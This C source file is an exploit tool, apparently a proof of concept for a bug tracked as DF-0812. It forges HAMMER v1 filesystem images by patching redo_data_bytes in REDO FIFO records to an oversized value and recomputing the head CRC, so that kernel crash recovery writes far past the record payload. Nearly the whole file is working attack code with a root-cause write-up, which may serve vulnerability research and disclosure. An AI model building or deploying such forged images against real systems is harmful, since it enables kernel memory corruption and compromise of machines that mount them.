/*
 * craft_img.c - HAMMER v1 image forger for DF-0812.
 *
 * DF-0812 root cause: hammer_recover_redo_exec() at
 *   sys/vfs/hammer/hammer_recover.c:1296-1335 handles HAMMER_REDO_WRITE:
 *
 *     vn_rdwr(UIO_WRITE, vp, (void*)(redo+1),
 *             redo->redo_data_bytes, redo->redo_offset, ...);
 *
 * redo_data_bytes is int32 from disk (hammer_disk.h:662) and is NEVER
 * compared to the payload capacity (hdr_size - sizeof(*redo) - sizeof(tail)).
 * Contrast the UNDO path at recover.c:1053-1060 which DOES validate
 * undo_data_bytes.  The FIFO head CRC (hammer_crc.h:195-200) only covers
 * hdr_size bytes, so an attacker recomputes the CRC for any redo_data_bytes.
 *
 * This forger scans the UNDO/REDO FIFO area of a HAMMER v1 image for
 * FIFO records of type HAMMER_HEAD_TYPE_REDO (0x0044), patches
 * redo->redo_data_bytes to a forged value, and recomputes the FIFO
 * head CRC so recovery accepts the record.
 *
 * Build:  cc -O2 -o craft_img craft_img.c icrc32.c
 * Usage:  ./craft_img <image.img> [forged_bytes]  (default 0x7FFFFFFF)
 */
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <inttypes.h>
#include <unistd.h>
#include <fcntl.h>

/* userspace iscsi_crc32 from icrc32.c (verbatim copy of sys/libkern/icrc32.c) */
extern uint32_t iscsi_crc32(const void *buf, size_t size);

/* ---- HAMMER on-disk constants (hammer_disk.h) ---- */
#define HAMMER_FSBUF_VOLUME     0xC8414D4DC5523031ULL
#define HAMMER_BUFSIZE          16384

#define HAMMER_HEAD_SIGNATURE   0xC84EU
#define HAMMER_TAIL_SIGNATURE   0xC74FU
#define HAMMER_HEAD_TYPE_PAD    (0x0040U | 0x8000U)
#define HAMMER_HEAD_TYPE_REDO   0x0044U
#define HAMMER_HEAD_ALIGN       8
#define HAMMER_HEAD_ALIGN_MASK  (HAMMER_HEAD_ALIGN - 1)

#define HAMMER_REDO_WRITE       0x00000001

/* volume_ondisk field offsets (struct hammer_volume_ondisk) */
#define VOFF_signature   0
#define VOFF_vol_mem_beg 16    /* int64_t vol_mem_beg -- UNDO/REDO FIFO start */
#define VOFF_vol_buf_beg 24
#define VOFF_vol_version 152

/* struct hammer_fifo_head (16 bytes) */
#define HEAD_SIZE  16
#define OFF_hdr_signature  0
#define OFF_hdr_type       2
#define OFF_hdr_size       4
#define OFF_hdr_seq        8
#define OFF_hdr_crc        12
#define HAMMER_FIFO_HEAD_CRCOFF  12   /* offsetof(hammer_fifo_head, hdr_crc) */

/* struct hammer_fifo_tail (8 bytes) */
#define TAIL_SIZE  8
#define OFF_tail_signature  0
#define OFF_tail_type       2
#define OFF_tail_size       4

/* struct hammer_fifo_redo layout after the 16-byte head:
 *   i64  redo_objid        @ 0
 *   u64  redo_offset       @ 8
 *   i32  redo_data_bytes   @ 16
 *   u32  redo_flags        @ 20
 *   u32  redo_localization @ 24
 *   u32  redo_reserved01   @ 28
 *   u64  redo_reserved02   @ 32
 * total payload-header = 40 bytes, so redo struct = 16+40 = 56 bytes
 */
#define REDO_DATA_BYTES_OFF  (HEAD_SIZE + 16)  /* redo_data_bytes within record */
#define REDO_FLAGS_OFF       (HEAD_SIZE + 20)
#define REDO_SIZEOF          56

/* little-endian helpers */
static uint16_t rd16(const uint8_t *p){ return (uint16_t)(p[0] | (p[1]<<8)); }
static uint32_t rd32(const uint8_t *p){ return (uint32_t)(p[0] | (p[1]<<8) | (p[2]<<16) | ((uint32_t)p[3]<<24)); }
static uint64_t rd64(const uint8_t *p){
    return (uint64_t)p[0] | ((uint64_t)p[1]<<8) | ((uint64_t)p[2]<<16) |
           ((uint64_t)p[3]<<24) | ((uint64_t)p[4]<<32) | ((uint64_t)p[5]<<40) |
           ((uint64_t)p[6]<<48) | ((uint64_t)p[7]<<56);
}
static void wr16(uint8_t *p, uint16_t v){ p[0]=v; p[1]=v>>8; }
static void wr32(uint8_t *p, uint32_t v){ p[0]=v; p[1]=v>>8; p[2]=v>>16; p[3]=v>>24; }

/*
 * FIFO head CRC: XOR of iscsi_crc32(head[0:CRCOFF]) and
 *                iscsi_crc32(head+1, hdr_size - sizeof(head)).
 * (hammer_crc.h:196-200, hammer_crc_get_fifo_head)
 */
static uint32_t fifo_head_crc(const uint8_t *rec, uint32_t hdr_size, uint32_t vol_version)
{
    /* For version >= 7, use iscsi_crc32 (our icrc32.c).
       For version < 7, HAMMER uses the old crc32. We focus on version 7
       (default for newfs_hammer on DEV) but handle both via a flag. */
    if (vol_version >= 7) {
        uint32_t c1 = iscsi_crc32(rec, HAMMER_FIFO_HEAD_CRCOFF);
        uint32_t c2 = iscsi_crc32(rec + HEAD_SIZE, hdr_size - HEAD_SIZE);
        return c1 ^ c2;
    }
    /* version < 7 uses crc32 — not supported in this tool, warn at call site */
    return 0xFFFFFFFF;
}

int main(int argc, char **argv)
{
    const char *path = (argc > 1) ? argv[1] : "scratch.img";
    int32_t forged_bytes = (argc > 2) ? (int32_t)strtoll(argv[2], NULL, 0) : 0x7FFFFFFF;

    int fd = open(path, O_RDWR);
    if (fd < 0) { perror("open"); return 1; }

    /* read volume header */
    uint8_t vhdr[512];
    if (pread(fd, vhdr, sizeof vhdr, 0) != (ssize_t)sizeof vhdr) {
        perror("pread vhdr"); close(fd); return 1;
    }
    uint64_t sig = rd64(vhdr + VOFF_signature);
    if (sig != HAMMER_FSBUF_VOLUME) {
        fprintf(stderr, "not a HAMMER volume (sig=%016" PRIx64 ")\n", sig);
        close(fd); return 1;
    }
    int64_t  vol_mem_beg = (int64_t)rd64(vhdr + VOFF_vol_mem_beg);
    int64_t  vol_buf_beg = (int64_t)rd64(vhdr + VOFF_vol_buf_beg);
    uint32_t vol_version = rd32(vhdr + VOFF_vol_version);

    printf("[*] image        : %s\n", path);
    printf("[*] vol_mem_beg  : 0x%llx  (UNDO/REDO FIFO start)\n",
           (long long)vol_mem_beg);
    printf("[*] vol_buf_beg  : 0x%llx  (FIFO end / zone-2 start)\n",
           (long long)vol_buf_beg);
    printf("[*] vol_version  : %u\n", vol_version);
    printf("[*] FIFO size    : %lld bytes\n",
           (long long)(vol_buf_beg - vol_mem_beg));
    printf("[*] forged bytes : %d (0x%08x)\n", forged_bytes, (unsigned)forged_bytes);

    if (vol_version < 7) {
        fprintf(stderr, "[!] vol_version < 7 uses crc32 (not iscsi_crc32). "
                "CRC recompute will be wrong. Aborting.\n");
        close(fd);
        return 1;
    }

    off_t imgsz = lseek(fd, 0, SEEK_END);
    printf("[*] image size   : %lld bytes\n\n", (long long)imgsz);

    /* Scan the ENTIRE image for REDO records.  The UNDO/REDO FIFO data
       is stored in big-blocks mapped via vol0_undo_array[], so records
       may be at physical offsets well past vol_mem_beg.  Scanning the
       whole image is the robust approach. */
    int found = 0;
    int patched = 0;
    off_t off;

    for (off = 0; off + REDO_SIZEOF + TAIL_SIZE <= imgsz;
         off += HAMMER_HEAD_ALIGN) {
        uint8_t rec[HAMMER_BUFSIZE];  /* max record size */
        if (pread(fd, rec, HEAD_SIZE, off) != HEAD_SIZE)
            break;

        uint16_t hsig = rd16(rec + OFF_hdr_signature);
        uint16_t htype = rd16(rec + OFF_hdr_type);
        uint32_t hsize = rd32(rec + OFF_hdr_size);

        if (hsig != HAMMER_HEAD_SIGNATURE)
            continue;
        if (hsize < HEAD_SIZE + TAIL_SIZE || hsize > HAMMER_BUFSIZE)
            continue;
        if ((hsize & HAMMER_HEAD_ALIGN_MASK) != 0)
            continue;

        /* Read the full record */
        if (pread(fd, rec, hsize, off) != (ssize_t)hsize)
            continue;

        /* Verify tail */
        uint8_t *tailp = rec + hsize - TAIL_SIZE;
        if (rd16(tailp + OFF_tail_signature) != HAMMER_TAIL_SIGNATURE)
            continue;
        if (rd16(tailp + OFF_tail_type) != htype)
            continue;
        if (rd32(tailp + OFF_tail_size) != hsize)
            continue;

        found++;
        printf("[*] FIFO record @ phys 0x%llx: type=0x%04x size=%u seq=%u\n",
               (long long)off, htype, hsize, rd32(rec + OFF_hdr_seq));

        if (htype == HAMMER_HEAD_TYPE_REDO) {
            int32_t old_bytes = (int32_t)rd32(rec + REDO_DATA_BYTES_OFF);
            uint32_t flags = rd32(rec + REDO_FLAGS_OFF);
            int32_t capacity = (int32_t)hsize - REDO_SIZEOF - TAIL_SIZE;

            printf("    redo_data_bytes = %d (capacity %d, flags=0x%08x)\n",
                   old_bytes, capacity, flags);

            if (flags != HAMMER_REDO_WRITE) {
                printf("    -> not HAMMER_REDO_WRITE, skipping\n");
            } else {
                /* FORGE: patch redo_data_bytes */
                wr32(rec + REDO_DATA_BYTES_OFF, (uint32_t)forged_bytes);

                /* Recompute FIFO head CRC over hsize bytes */
                uint32_t old_crc = rd32(rec + OFF_hdr_crc);
                wr32(rec + OFF_hdr_crc, 0);  /* CRC field must be 0 for... no,
                                                the CRC formula skips it */
                /* Actually the CRC formula is:
                   crc = iscsi_crc32(rec[0:12]) ^ iscsi_crc32(rec[16:hdr_size])
                   So the 4-byte hdr_crc field at [12:16] is SKIPPED.
                   We can set it to anything before computing, then store the result. */
                uint32_t new_crc = fifo_head_crc(rec, hsize, vol_version);
                wr32(rec + OFF_hdr_crc, new_crc);

                printf("    FORGED: redo_data_bytes %d -> %d\n",
                       old_bytes, forged_bytes);
                printf("    CRC: old=%08x new=%08x\n", old_crc, new_crc);

                /* Write back the record */
                if (pwrite(fd, rec, hsize, off) != (ssize_t)hsize) {
                    perror("    pwrite");
                } else {
                    printf("    [+] patched at phys 0x%llx\n", (long long)off);
                    patched++;
                }
            }
        }

        /* advance by hdr_size to find the next record */
        off += hsize - HAMMER_HEAD_ALIGN;  /* loop adds HAMMER_HEAD_ALIGN */
    }

    printf("\n[*] Found %d FIFO record(s), patched %d REDO record(s).\n",
           found, patched);
    close(fd);
    return (patched > 0) ? 0 : 2;
}
